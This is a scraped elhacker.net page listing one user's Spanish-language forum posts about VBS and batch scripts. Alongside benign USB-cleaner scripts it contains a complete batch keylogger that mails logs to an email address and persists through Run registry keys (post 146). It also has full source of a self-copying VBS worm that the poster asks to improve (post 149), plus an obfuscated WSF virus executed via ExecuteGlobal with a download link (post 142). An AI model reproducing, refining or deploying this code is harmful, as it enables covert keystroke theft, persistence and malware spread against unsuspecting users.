elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17
141  Programación / Scripting / error en vbs en: 11 Agosto 2017, 20:03 pm
hola a todos, hoy traigo un vbs que desoculta carpetas el vbs funciona bien, selecciono la carpeta y doy aceptar y desinfecta, hay va bien pero
el problema es cuando lo abro pero no lo utilizo sino que lo quito hay sale el error
no se por que sale.

en pocas palabras el error esta cuando lo abro y lo cierro , que no lo utilizo.

code:

Código
  1. Set objShell = CreateObject("Shell.Application")
  2. Set objFolder = objShell.BrowseForFolder _
  3.     (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS) 
  4.     If (Not objFolder Is Nothing) Then 
  5.        end if                                         'AQUI ESTA EL ERROR CUAN NO SELECCIONO NADA SINO LE DOY A CANCELAR
  6. Set objFolderItem = objFolder.Self
  7. strPath = objFolderItem.Path
  8. Set objfso = CreateObject("scripting.filesystemobject") 
  9. Set archivotexto = objfso.createtextfile("desinf.bat", True)
  10. archivotexto.writeline "@echo off"
  11. archivotexto.writeline "title Desinfectando USB (BY S4L)"
  12. archivotexto.writeline "MODE CON: COLS=50 LINES=5"
  13. archivotexto.writeline "color a"
  14. archivotexto.writeline "echo/"
  15. archivotexto.writeline "echo [ÛÛÛ°°°°°°°°°°°°°°°°°°°°°°°°°°°] 13 /."
  16. archivotexto.writeline "cd /D "" " & strPath & """"
  17. archivotexto.writeline "Attrib /d /s -r -h -s *.*"
  18. archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
  19. archivotexto.writeline "cls"
  20. archivotexto.writeline "echo/"
  21. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°°°°°°°] 25 /."
  22. archivotexto.writeline "del /f /q *.bat"
  23. archivotexto.writeline "cls"
  24. archivotexto.writeline "echo/"
  25. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°] 47 /."
  26. archivotexto.writeline "del /f /q *.wsf"
  27. archivotexto.writeline "del /f /q Drive\*.wsf"
  28. archivotexto.writeline "if exist *.lnk del *.lnk"
  29. archivotexto.writeline "cls"
  30. archivotexto.writeline "echo/"
  31. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°°°] 70 /."
  32. archivotexto.writeline "del /f /q *.vbs"
  33. archivotexto.writeline "cls"
  34. archivotexto.writeline "echo/"
  35. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ°°] 89 /."
  36. archivotexto.writeline "del /f /q *.js"
  37. archivotexto.writeline "cls"
  38. archivotexto.writeline "echo/"
  39. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ] 100 /."
  40. archivotexto.writeline "attrib -a -s -h -r /s /d"
  41. archivotexto.writeline "attrib +s +h autorun.inf"
  42. archivotexto.writeline "ping localhost -n 2 >nul"
  43. archivotexto.writeline "taskkill /F /im wscript.exe"
  44. archivotexto.writeline "cls"
  45. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ] 100 /."
  46. archivotexto.writeline "explorer.exe " & strPath & """"
  47. archivotexto.writeline "exit"
  48. archivotexto.Close
  49. Set objfso = createobject("scripting.filesystemobject")
  50. Set archivo = objfso.getfile("desinf.bat")	
  51. archivo.attributes = 34	
  52. Set WshShell = WScript.CreateObject("WScript.Shell")
  53. Return = WshShell.Run("desinf.bat", 1, true)	
  54.  
142  Programación / Scripting / descifrar virus .wsf en: 9 Agosto 2017, 16:44 pm
hola a todos, traigo un virus con formato wsf , alguien sabe como ddesencriptar
el codigo de este virus.


parte de el code :  el codigo no esta completo porque solo puedo publicar 1000 lineas.

code:
Código
  1. <?XML version="1.0"?><job>
  2.  
  3. <script language="VBScript">
  4.  
  5. <![CDATA[
  6.  
  7. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("44696D204F6178737A4D676757574747796D616766784F785162566747734654796B79444F556568727A4C514C79705A6D657A564D6642704345755568697641665376485966615048637A6D544F5550")
  8. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("4A544C554978794E4A43426D6B4D4E676C48664275626F45657647724C63446B4155646C62725479436563744A517268557142666A62486B4A6551444578734E51424C4A4B506B794265545A6D4B4B79464941566E697A6A71694E5244566C744E512C20726E706377467457507051726D43436F4E5A5675556B716F654D534B")
  9. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("435A64746269456B594D51676F71736A6742424254527A664F53575162436F5368666F76754C7874425A644F494166777446444576796F4E59557A534D594B51536177437843716A6846557563675A796A5265504F6A4D64416649676371657971706A744E775A4F4F75444D437972536E5744796E534D7574426D6D686B4C79")
  10. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("5942424B4849726B425A4C556356594D6E792C206661594147674354506B6C4C50746C6D516458737953734946794E4F704E635469596C4D7374457477584554456A5650764F595876746F4457646278514353586449614F684B776746635167796946796E617A45514D76484F6D646B6E4B58555649644C795578544C576856")
  11. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("7256784E72444D7949424B786950474B51544546586B6D624B6478454567784D6952444652596B4376674B59484C414B416D577578684D696D696F52766A686E696C0D0A4F6178737A4D676757574747796D616766784F785162566747734654796B79444F556568727A4C514C79705A6D657A564D6642704345755568697641")
  12. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("665376485966615048637A6D544F55504A544C554978794E4A43426D6B4D4E676C48664275626F45657647724C63446B4155646C62725479436563744A517268557142666A62486B4A6551444578734E51424C4A4B506B794265545A6D4B4B79464941566E697A6A71694E5244566C744E51203D20222D323233392B32323738")
  13. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2A3333353934302F353539392A323135332D323036322A2D333631382B333635302A383931382D383830342A3632313435332F363135332A313830342D313730352A3132312D31302A3233323230302F323332322A2D34362B3134372A373131382D373030342A393439382D393436362A3438393430342F383433382A373232")
  14. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("35362F323235382A343935352D343835312A2D353739382B353930392A3534323736332F343633392A2D333434392B333534392A2D373839352B383030302A333530372D333339372A2D3936362B313037312A2D393132342B393135362A343132362D343038362A363933302D363833312A2D353834332B353838342A2D3533")
  15. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("362B3536382A383538382D383437332A3538322D3437352A2D3736322B3838332A373634342D373533322A3139363834392F313934392A323833382D323830362A363137332D363131352A343238392D343235372A3631393332302F353935352A383339362D383238352A353233332D353131362A333830332D333730332A35")
  16. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("32393531352F353034332A3330373132302F323739322A2D373738312B373838362A373139352D373135302A3435313936322F343433312A393035382D383933382A313537312D313533392A333537302D333437372A343533362D343437342A323731362D323730362A363237342D363236342A323037322D323033332A3533")
  17. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("36322D353330312A383835342D383830392A373930312D373834302A2D373537362B373632312A312B36302A3335303733302F373739342A373930392D373834382A36303933302F313335342A37373334382F313236382A2D393038322B393131342A38363432372F3837332A313333372D313232362A3333342D3232342A31")
  18. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("303038332D393938312A2D3133372B3234322A2D343136322B343236352A3232313732382F363932392A31373038302F3238302A3138303732302F343031362A2D343532352B343538362A2D383734332B383738382A313437392D313431382A2D353733372B353738322A363835322D363739312A3230313337352F34343735")
  19. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2A2D343634362B343730372A2D313438382B313533332A343731342D343635332A33373330352F3832392A383433302D383336392A39383530352F323138392A2D333337362B333433372A2D313635342B313639392A2D333131372B333137382A34383337352F313037352A2D363932372B363938382A363738352D36373430")
  20. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2A3631342D3535332A333730322D333635372A3131343337352F313837352A3339363831302F383831382A333231332D333135322A3132373537352F323833352A2D373736342B373832352A2D313438362B313533312A343438392D343432382A37353537302F373535372A33383432302F333834322A31303035342D393935")
  21. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("302A37343438312F3637312A2D393832382B393934332A3833303930382F373136332A2D343234382B343238302A2D343037352B343133362A3232303936302F363930352A32393835322F3837382A3236333434352F323530392A3132323839392F313236372A2D363337362B363438352A333035312D323935332A33393534")
  22. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("36392F343037372A3238332D3138342A2D393733362B393834332A2D343831362B343836322A3337343030302F333734302A3638363030302F363836302A39313330302F3833302A2D353737302B353838352A39323634342F323031342A2D363633332B363734332A31303033372D393933362A2D343537332B343638392A2D")
  23. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("333834342B333837382A39333533302F393335332A313039323839362F393735382A3534343637372F343930372A383432302D383330362A313233382D313132322A3232343332302F373031302A3236343433352F343333352A34363436342F313435322A393130382D393035392A393736312D393731302A37323631302F37")
  24. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("3236312A353930342D353739392A2D383433302B383534302A3432393036352F333733312A343432332D343330372A3637343035332F363934392A2D323735332B323836312A2D343032342B343133322A383235382D383135382A2D313639342B313739392A3139343832362F313730392A323934372D323931352A2D333037")
  25. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("392B333134302A343932352D343839332A3137323738382F353038322A39333631302F323533302A2D3232372B3334342A323930362D323739312A2D333336312B333436322A2D343031352B343132392A3339313130342F333439322A3834352D3733312A2D333639322B333830332A2D333030342B333130362A3238323636")
  26. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("302F323639322A2D363039382B363230362A2D363239312B363339322A3330383631372F383334312A39333433322F323734382A36393435302F363934352A393334362D393233382A363337362D363236362A35303239302F3437302A3433363936382F343238342A2D313636302B313736352A2D373032312B373132392A39")
  27. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("373336342F3936342A35393734342F313836372A393537372D393531362A3137343536302F353435352A3535333535322F343737322A3737303735342F363736312A2D313032312B313133382A3634393132372F363432372A39383734302F393837342A2D393132332B393233312A2D313831312B313932312A383933313239")
  28. FACEBOOKFACEBOOK = FACEBOOKFACEBOOK & php("2F383334372A2D313238332B313338352A333436362D333335352A3133323531362F313232372A3331363030302F333136302A3831393831372F383131372A3234383633342F323138312A383630382F3236392A343432312D343336302A3633342D3630322A2D353231312B353332372A343539312D343437372A323530312D")
  29.  
  30. ExecuteGlobal FACEBOOKFACEBOOK
  31.  
  32. Function php(FACEBOOKFACEBOOK) : For y = 1 To Len(FACEBOOKFACEBOOK) Step 2 : ub = ub & Chr(Clng("&H" & Mid(FACEBOOKFACEBOOK, y, 2))) : Next : php = ub : End Function
  33.  
  34. ]]>
  35.  
  36. </script>
  37.  
  38. </job>
  39.  

 PD: aqui les dejo el virus . aqui esta el codigo completo:

link:
                  http://www.mediafire.com/file/3rgu85acp4u7uxe/virus.wsf
143  Programación / Scripting / error con scrip vbs en: 27 Julio 2017, 22:42 pm
 hola bueno tengo un vbs que lo que hace es explorar carpetas, abre y corre bien
 pero el problema es que se lo abro y despues lo quiero cerrar osea le doy
 al boton cancelar me lanza error el vbs.

 no lo he podido solucionar intente con el comando else pero tampoco funciono.

Código
  1. Set objShell = CreateObject("Shell.Application")
  2. Set objFolder = objShell.BrowseForFolder _
  3.     (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)   
  4. Set objFolderItem = objFolder.Self
  5. strPath = objFolderItem.Path
  6. objShell.Explore strPath
  7.  

      en pocas palabras lo que quiero es cuando abra el vbs pero no selecione
       nada sino que le de a cancelar se cierre y no me aparezca el mensaje
        error.
144  Programación / Scripting / -----ayuda con vbs------ en: 27 Julio 2017, 01:21 am
 hala de nuevo necesito ayuda con este vbs, la funcion de este vbs es crear
 acceso directo de algún programa o archivo en especifico,

 bien lo que quiero es que en ves de crear acceso directo de un archivo, cree
 accesos directos de todo lo que se encuentre dentro de una carpeta.

 algo como el virus newphototoday 

 aqui el code para crear accesosdirectos de un archivo:
 
Código
  1. Set WshShell = WScript.CreateObject("WScript.Shell")
  2. Set Link = WshShell.CreateShortcut("Compensacion Bicentenario.lnk")
  3. With Link
  4. .TargetPath = "%PROGRAMFILES%\Counter-Strike Ultimate Online\LauncherCSU.exe"
  5. .WindowStyle = 1
  6. .Hotkey = ""
  7. .IconLocation = "%PROGRAMFILES%\Counter-Strike Ultimate Online\LauncherCSU.exe"
  8. .Description = ""
  9. .WorkingDirectory = "%PROGRAMFILES%"
  10. .Save
  11. End With
  12.  

 lo que quiero es que en ves de que cree el acceso directo del launcherCSU.exe
 cree acceso directo de todo lo que se encuentre en la carpeta- algo como
 el valor *.* de batch.
145  Informática / Software / ------------USB File Resc (Codigo Borrado). en: 26 Julio 2017, 20:37 pm
----------------------------------------------------------------------------------------



Por derechos de autor el código no sera mostrado .                  sorry.  ;D

----------------------------------------------------------------------------------------
146  Programación / Scripting / keylogger en batch? en: 24 Julio 2017, 20:29 pm
Hola a todos queria saber si se puede hacer un keylogger en batch y que registre todo en un txt.  :huh:


en internet encontre este batch pero es mas que todo puro vbs.

aqui el code:
Código
  1. @echo off
  2. set location = %windir%\System32\stsyk.vbs
  3. echo set shell = CreateObject("Wscript.Shell") >> %location%
  4. echo shell.run "C:\windows\k.bat", 0 >> %location%
  5. echo @echo off >> C:\windows\k.bat
  6. echo color c9 >> C:\windows\k.bat
  7. echo :go >> C:\windows\k.bat
  8. echo echo .>>c:\keys.txt  >> C:\windows\k.bat
  9. echo echo :  >> C:\windows\k.bat
  10. echo set /p keys=  >> C:\windows\k.bat
  11. echo echo %keys% >> c:\keys.txt  >> C:\windows\k.bat
  12. echo goto go >> C:\windows\k.bat
  13. echo start %location%  >> C:\windows\k.bat
  14. echo(
  15. echo Dim x > C:\kvqim.vbs
  16. echo on error resume next >> C:\kvqim.vbs
  17. echo Set fso =" Scripting.FileSystem.Object" >> C:\kvqim.vbs
  18. echo Set so=CreateObject(fso) >> C:\kvqim.vbs
  19. echo Set ol=CreateObject("Outlook.Application") >> C:\kvqim.vbs
  20. echo Set out=WScript.CreateObject("Outlook.Application") >> C:\kvqim.vbs
  21. echo Mail.to="cursedgaming@gmail.com">> C:\kvqim.vbs
  22. echo Mail.Subject="Keylog" >> C:\kvqim.vbs
  23. echo Mail.Body="" >> C:\kvqim.vbs
  24. echo Mail.Attachments.Add("C:keys.txt") >> C:\kvqim.vbs
  25. echo Mail.Send >> C:\kvqim.vbs
  26. echo Next >> C:\kvqim.vbs
  27. echo ol.Quit >> C:\kvqim.vbs
  28. C:\kvqim.vbs
  29. )>>C:\Windows\k.bat
  30. ping localhost 5 > nul
  31. del C:\kvqim.vbs
  32. REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d %location%
  33. REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinBoot /t REG_SZ /d C:\Windows\k.bat
  34. attrib +h +s %location%
  35. attrib +h +s C:\Windows\k.bat
  36. attrib +h keys.txt
  37. start %location%
  38.  
147  Programación / Scripting / crear explorador de archivos y carpetas en bath? en: 14 Julio 2017, 23:31 pm
   :huh: hola a todos quisiera saber si se puede crear un explorador de carpetas
            y archivos en batch, lo estuve intentando con comandos FOR y DIR
            pero no lo logre.   

                   si alguien sabe algún  programa comand-line que me funcione ?

          PD: solo lo he logrado hacer en vbs y vb pero no lo consigo en batch.
                    si alguien sabe porfa comenten! .   :huh:
148  Seguridad Informática / Análisis y Diseño de Malware / eliminar virus de usb que crea accesos directos en: 10 Julio 2017, 16:23 pm
 hola a todos hice un vbs que elimina el virus de acceso directo
 que se mete en el pendrive. por favor comenten eso me motiva a
 hacer mas script.

  bueno aqui el code:
Código
  1. 'PARA FORO EL HACKER.
  2. Set objShell = CreateObject("Shell.Application")
  3. Set objFolder = objShell.BrowseForFolder _
  4.     (WINDOW_HANDLE, "Selecciona una carpeta:", NO_OPTIONS)   
  5. Set objFolderItem = objFolder.Self
  6. strPath = objFolderItem.Path
  7. Set objfso = createobject("scripting.filesystemobject") 'credo por S4L.
  8. Set archivotexto = objfso.createtextfile("desinf.bat",true)
  9. archivotexto.writeline "@echo off"
  10. archivotexto.writeline "title Desinfectando USB (BY S4L)"
  11. archivotexto.writeline "MODE CON: COLS=50 LINES=5"
  12. archivotexto.writeline "color a"
  13. archivotexto.writeline "echo/"
  14. archivotexto.writeline "echo [ÛÛÛ                           ] 13 °/."
  15. archivotexto.writeline "ping localhost -n 1 >nul"
  16. archivotexto.writeline "cd /D "" " & strPath & """"
  17. archivotexto.writeline "Attrib /d /s -r -h -s *.*"
  18. archivotexto.writeline "Attrib /d /s -r -h -s Drive\*.*"
  19. archivotexto.writeline "cls"
  20. archivotexto.writeline "echo/"
  21. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛ                     ] 25 °/."
  22. archivotexto.writeline "ping localhost -n 2 >nul"
  23. archivotexto.writeline "del /f /q *.bat"
  24. archivotexto.writeline "cls"
  25. archivotexto.writeline "echo/"
  26. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ               ] 47 °/."
  27. archivotexto.writeline "ping localhost -n 2 >nul"
  28. archivotexto.writeline "del /f /q *.wsf"
  29. archivotexto.writeline "del /f /q Drive\*.wsf"
  30. archivotexto.writeline "if exist *.lnk del *.lnk" 
  31. archivotexto.writeline "cls"
  32. archivotexto.writeline "echo/"
  33. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ     ] 70 °/."
  34. archivotexto.writeline "ping localhost -n 2 >nul"
  35. archivotexto.writeline "del /f /q *.ws"
  36. archivotexto.writeline "cls"
  37. archivotexto.writeline "echo/"
  38. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ  ] 89 °/."
  39. archivotexto.writeline "ping localhost -n 2 >nul"
  40. archivotexto.writeline "del /f /q *.js"
  41. archivotexto.writeline "cls"
  42. archivotexto.writeline "echo/"
  43. archivotexto.writeline "echo [ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ] 100 °/."
  44. archivotexto.writeline "attrib -a -s -h -r /s /d"
  45. archivotexto.writeline "attrib +s +h autorun.inf"
  46. archivotexto.writeline "ping localhost -n 2 >nul"
  47. archivotexto.writeline "explorer.exe "& strPath & """"
  48. archivotexto.writeline "exit"
  49. archivotexto.close
  50. set WshShell=WScript.CreateObject("WScript.Shell")
  51. WShShell.run "desinf.bat"
  52. 'FISICA 638
  53.  

************************* Porfavor comenten.
149  Programación / Scripting / ayuda en mejora de virus en vbs . en: 7 Julio 2017, 19:20 pm
 ::)
              les pongo este virus en vbs para uqe me den consejos de
              como mejorarlo .
Código
  1. ON ERROR RESUME NEXT
  2. Dim Fobiacmsgchxxrl
  3. Dim Fobiacborrchxxrl
  4. Dim Fobiaccolchxxrl
  5. Dim zchxxrl
  6. Dim Fobianarchxxrl
  7. Dim Fobiadichxxrl
  8. Dim Fobiavalchxxrl
  9. Dim Fobiasenchxxrl
  10. Dim Fobiatecchxxrl
  11. Dim vtecchxxrl
  12. Set Fobiawshchxxrl = CreateObject("WScript.Shell")
  13. Set Fobiafsochxxrl= CreateObject("scripting.filesystemobject")
  14. Fobiawshchxxrl.regwrite "HKCU\software\" & Chr(71) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116),Chr(71) & Chr(101) & Chr(111) & Chr(99) & Chr(105) & Chr(116) & Chr(105) & Chr(101) & Chr(115) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(103) & Chr(97) & Chr(116) & Chr(101) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116)
  15. Fobiafsochxxrl.copyfile wscript.scriptfullname,Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs"
  16. Fobiawshchxxrl.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kuasanagui","wscript.exe " & Fobiafsochxxrl.GetSpecialFolder(0) & "\camila.vbs %"
  17. Const Wri = 2
  18. Const Cr = True
  19. Dim File
  20. Dim F
  21. File = Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
  22. Set F = Fobiafsochxxrl.opentextfile(File, Wri, Cr)
  23. F.write "Quisiera ser un microbito," & vbcrlf & "que habite en tu cuerpo," & vbcrlf & "hay para estar muy calientito," & vbcrlf & "casi todo el tiempo," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "Quiero vivir en una arteria," & vbcrlf & "junto a tu corazon," & vbcrlf & "tu cuerpo para mi seria, " & vbcrlf & "como una gran mansión," & vbcrlf & "correr por tus venas," & vbcrlf & "y en tu sangre siempre estar," & vbcrlf & "de ahi nadie me podra sacar." & vbcrlf & "" & vbcrlf & "Hare una alberca en tu ombliguito," & vbcrlf & "pa meterme a nadar," & vbcrlf & "y si me voy mas abajito," & vbcrlf & "nadie me sacara," & vbcrlf & "beber de tu sangre, " & vbcrlf & "y en tu carne descansar," & vbcrlf & "de ti me voy a alimentar." & vbcrlf & "" & vbcrlf & "De ti me voy a alimentar."
  24. F.close
  25. Fobiawshchxxrl.run "notepad " & Fobiafsochxxrl.GetSpecialFolder(0) & "\El microbito.TXT"
  26. Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page","http://www.jodiendo.com"
  27. Fobiawshchxxrl.regwrite "HKEY_USERS\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\Main\Window title","FOBIA ON ICE"
  28. If month(now) = 10 and day(now) = 31 then
  29. For zchxxrl = 0 to 1000
  30. Fobiawshchxxrl.run ("C:\Windows\notepad.exe")
  31. Next
  32. End If
  33. Fobiavalchxxrl = 0
  34. Fobiatecchxxrl = 0
  35. dichxxrl()
  36. Function dichxxrl()
  37. On Error Resume Next
  38. Do
  39. Fobiatecchxxrl = Fobiatecchxxrl + 1
  40. Fobiavalchxxrl = Fobiavalchxxrl + 1
  41. Randomize timer
  42. Fobiadichxxrl = Int(Rnd * 6)
  43. If Fobiadichxxrl = 0 then Fobianarchxxrl = "Fobia.txt"
  44. If Fobiadichxxrl = 1 then Fobianarchxxrl = "Mundo feliz.mp3"
  45. If Fobiadichxxrl = 2 then Fobianarchxxrl = "Amor chiquito.jpg"
  46. If Fobiadichxxrl = 3 then Fobianarchxxrl = "Fobia on ice.mp3"
  47. If Fobiadichxxrl = 4 then Fobianarchxxrl = "Leche.html"
  48. If Fobiadichxxrl = 5 then Fobianarchxxrl = "microbito.mp3"
  49. If Fobianarchxxrl = "" then Fobianarchxxrl = "LEEME.TXT"
  50. If Fobiavalchxxrl = 900000 then
  51. Fobiafsochxxrl.copyfile Fobiafsochxxrl.GetSpecialFolder(0)& "\camila.vbs","a:\" & Fobianarchxxrl & ".vbs"
  52. Fobiavalchxxrl = 0
  53. End If
  54. If Fobiatecchxxrl = 700000 then
  55. Fobiawshchxxrl.sendkeys "Quisiera ser un microbito...."
  56. Fobiatecchxxrl = 0
  57. Fobiatecchxxrl = 0
  58. End If
  59. Loop
  60. End Function
  61.  

*****por favor comenten algunas cosas que se deverian mejorar a este virus  :)
150  Programación / Scripting / ayuda en VBS. en: 7 Julio 2017, 04:59 am
***********hola a todos me preguntaba si en html VBS hay algún comando
                   que tenga la misma función que tiene la palabra set de batch...

ayuda plis.  :huh: :huh: :huh:  :( :( :(
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [15] 16 17
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines